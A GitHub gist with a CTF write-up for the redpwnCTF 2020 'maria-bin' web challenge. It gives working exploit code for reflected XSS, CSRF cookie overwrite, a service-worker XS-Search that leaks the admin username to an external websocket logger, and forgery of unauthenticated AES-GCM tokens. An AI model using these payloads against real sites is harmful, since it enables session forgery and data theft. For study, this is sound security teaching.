Skip to content

Instantly share code, notes, and snippets.

@iczero
Last active June 27, 2020 01:57
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save iczero/b41d36e78d8d11926cff7d3c9dd338fa to your computer and use it in GitHub Desktop.
Save iczero/b41d36e78d8d11926cff7d3c9dd338fa to your computer and use it in GitHub Desktop.
maria-bin writeup

web/maria-bin

Overview

Sources (https://github.com/redpwn/redpwnctf-2020-challenges/tree/master/web/maria-bin) are given for a web application that runs at https://app.maria-bin.tk/. The target is to login as the admin in order for the flag to appear at https://app.maria-bin.tk/new.

res.end(mustache.render(newPage, { // pages/new.html
  csrf,
  flag: type === 'admin' ? flag : null
}));

Full exploit code for this challenge can be found here: https://gist.github.com/iczero/746173bf4b71595634b672321a8eb3c2

Vulnerabilities

XSS on raw.maria-bin.tk/view

The /view endpoint has a reflected XSS attack where it will directly include the value of the id query parameter in the body, without escaping.

<!doctype html>
<!-- triple braces should not be used here! -->
<h3>Paste {{{ id }}}</h3>
<pre>
{{ content }}
</pre>

Session token verification

Session tokens are generated by simply encrypting the user's username with AES-256 in GCM mode. As GCM is an authenticated encryption mode, this should usually be secure. However, in the code that decrypts and verifies the token, Decipheriv.prototype.final() is never called. As such, the authentication tag is never checked against the ciphertext.

const decryptToken = async token => {
  try {
    const tokenContent = Buffer.from(token, 'base64');
    const iv = tokenContent.slice(0, 12);
    const authTag = tokenContent.slice(tokenContent.length - 16);
    const cipher = crypto.createDecipheriv('aes-256-gcm', tokenKey, iv);
    cipher.setAuthTag(authTag); // authentication tag set
    const plainText = cipher.update(tokenContent.slice(12, tokenContent.length - 16));
    return plainText.toString(); // final() never called!
  } catch (e) {
    return null;
  }
};

Cookie injection

In all endpoints that need CSRF tokens, the CSRF token in form data is checked against the __Host-csrf cookie in the headers. However, in the cookie parser, the value of the Cookie header is url-decoded before being split.

const cookies = new Map(
  decodeURIComponent(req.headers.cookie || '')
  .split('; ')
  .map(c => c.split('='))
);

This allows for setting a cookie without the __Host- prefix, removing the restrictions arising from that, while also overwriting the previous CSRF cookie on the side of the web server. By setting a cookie of name %5F%5FHost-csrf with a domain of maria-bin.tk, it is possible to effectively overwrite the CSRF cookie with a controlled value.

Exploiting

To simplify exploits, a websocket server is run on an external domain to receive logs and results from the exploit scripts.

let logSocket = new WebSocket(LOG_WS);
logSocket.addEventListener('open', _event => {
  doExploit();
});

function log(...msg) {
  console.log(...msg);
  if (logSocket.readyState === WebSocket.OPEN) {
    logSocket.send(JSON.stringify(msg));
  }
}

Overwriting the CSRF cookie

Since we have XSS on raw.maria-bin.tk, we can use that to set a cookie with a domain of maria-bin.tk. This is used to overwrite the CSRF cookie.

// main page
const COOKIE_HELPER_PATH = 'https://hellomouse.net/static/mariahax-cookie-helper.js';
const CSRF_SPOOF_URL = 'https://raw.maria-bin.tk/view?id=100dcc519bf083fc973bcb0c1f96f030' +
  encodeURIComponent(`<script type="text/javascript" src="${COOKIE_HELPER_PATH}"></script>`);

async function spoofCSRF() {
  log('adding iframe for cookies');
  let iframe = document.createElement('iframe');
  iframe.src = CSRF_SPOOF_URL;
  document.body.appendChild(iframe);
  let deferred = new Deferred();
  let iframeLoadListener = () => {
  iframe.removeEventListener('load', iframeLoadListener);
  deferred.resolve();
  };
  iframe.addEventListener('load', iframeLoadListener);
  await deferred.promise;
  log('iframe loaded');
}

Performing the XS-Search attack

To forge the admin's token, it is first necessary to find their username. Unfortunately, this is secret. Fortunately, it is possible to conduct an XS-Search attack to leak it. Unfortunately, browsers have many protections in place to prevent this exact attack from happening. Since the /search endpoint returns a 404 when there are no results, the easiest way to do this would be to listen for error events on an iframe. This is not possible.

The service worker

Service workers have a pretty nifty feature that allows them to rewrite requests on the fly by listening to the fetch event. These requests can come from, among other places, script tags. The following code rewrites requests to TARGET_URL with a POST request with the necessary parameters for the /search endpoint.

const TARGET_URL = 'https://app.maria-bin.tk/search';
const TYPE = 'admin';

let search = null; // set by RPC between main and service worker

self.addEventListener('fetch', event => {
  if (event.request.url === TARGET_URL) {
    let formData = new URLSearchParams();
    formData.append('type', TYPE);
    formData.append('name', search);
    formData.append('csrf', 'WHEREISYOURSECURITYNOW');
    let request = new Request(event.request, {
      method: 'POST',
      body: formData,
      credentials: 'include'
    });
    event.respondWith(fetch(request));
  }
});

Leaking status codes with script tags

script tags conveniently fire the load event when its contents successfully load (even if it is invalid JavaScript) and the error event when it gets an error status code, such as 404. Using this in combination with the service worker allows for us to determine the result of the POST request even though it is cross-orign.

const SEARCH_ENDPOINT = 'https://app.maria-bin.tk/search';

let targetElement = null;
let objectContainer = document.createElement('div');

function recreateObject() {
  if (targetElement && targetElement.parentElement) {
    targetElement.parentElement.removeChild(targetElement);
  }
  targetElement = document.createElement('script');
  targetElement.type = 'text/javascript';
  targetElement.src = SEARCH_ENDPOINT;
  return new Promise((resolve, _reject) => {
    targetElement.addEventListener('error', () => {
      log('script load failure');
      resolve(false);
    });
    targetElement.addEventListener('load', () => {
      log('script load success');
      resolve(true);
    });
    objectContainer.appendChild(targetElement);
  });
}

async function trySearch(search) {
  log('trying', search);
  await setSearch(search); // RPC to service worker
  return await recreateObject();
}

document.body.appendChild(objectContainer);

Finding the admin's username

Now we simply need to try every character in the character set to discover the full username of the admin.

const CHARSET = 'abcdefghijklmnopqrstuvwxyz-0123456789'.split('');

// this is necessary as the admin bot terminates the script before it finishes
// searching the entire admin username
const PRELOAD_VALID = '';

async function runSearch() {
  let valid = PRELOAD_VALID;
  while (true) {
    let found = false;
    // try every character in the character set
    for (let i = 0; i < CHARSET.length; i++) {
      let currentChar = CHARSET[i];
      let result = await trySearch(valid + currentChar);
      if (result) {
        valid += currentChar;
        found = true;
        break;
      }
    }
    // nothing in charset
    if (!found) {
      log('end or character not in charset, currently', valid);
      break;
    }
  }
}

This finds the admin username to be king-horse-5diuoe7tpxjen8xu0n7.

Forging a token for the admin

AES-GCM without authentication is simply AES-CTR. Since the IV is part of the token, it can be controlled. With this, it is possible to perform a known-plaintext attack. This can be used to generate a token for the admin.

First, log in to the site with a username of the same length as the target username (30). In this case, aaaaaaaaaaaaaaaaaaaaaaaaaaaaaa is used. The layout of the returned token (in cookie __Host-token) is as follows:

  • 12 bytes IV
  • 30 bytes ciphertext
  • 16 bytes authentication tag

To forge the token for the admin, XOR the ciphertext of the generated token with the plaintext, and then XOR that with the username of the admin. Copy the IV as is, and append 16 bytes (it does not matter what they are, as it is never checked) to the end to serve as the authentication tag.

  • 12 bytes original IV
  • 30 bytes forged ciphertext
  • 16 bytes authentication tag (unused)

Base64 the result, then urlencode it. This can now be used as the authentication token for the admin.

// first, generate a token for a known user
let token = Buffer.from(decodeURIComponent('THE_COOKIE'), 'base64');
let firstUsername  = Buffer.from('aaaaaaaaaaaaaaaaaaaaaaaaaaaaaa');
let targetUsername = Buffer.from('king-horse-5diuoe7tpxjen8xu0n7');
let iv = Buffer.alloc(12);
token.copy(iv, 0, 0, 12);
let cipherText1 = Buffer.alloc(30);
token.copy(cipherText1, 0, 12, 42);
let authTag = Buffer.alloc(16); // does not matter
let plainText1 = Buffer.alloc(30);
firstUsername.copy(plainText1);
let plainText2 = Buffer.alloc(30);
targetUsername.copy(plainText2);

function xor(buf1, buf2, target, length) {
  for (let i = 0; i < length; i++) {
    target[i] = buf1[i] ^ buf2[i];
  }
}

let cipherText2 = Buffer.alloc(30);
xor(cipherText1, plainText2, cipherText2, 30);
xor(cipherText2, plainText1, cipherText2, 30);

let output = Buffer.alloc(58);
iv.copy(output);
cipherText2.copy(output, 12);
authTag.copy(output, 12 + 30);

console.log(encodeURIComponent(output.toString('base64')));

Finding the flag

Simply set the __Host-token cookie to the value from the last step. This can be easily done using the devtools of your preferred browser. Navigate to https://app.maria-bin.tk/new and find your flag.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment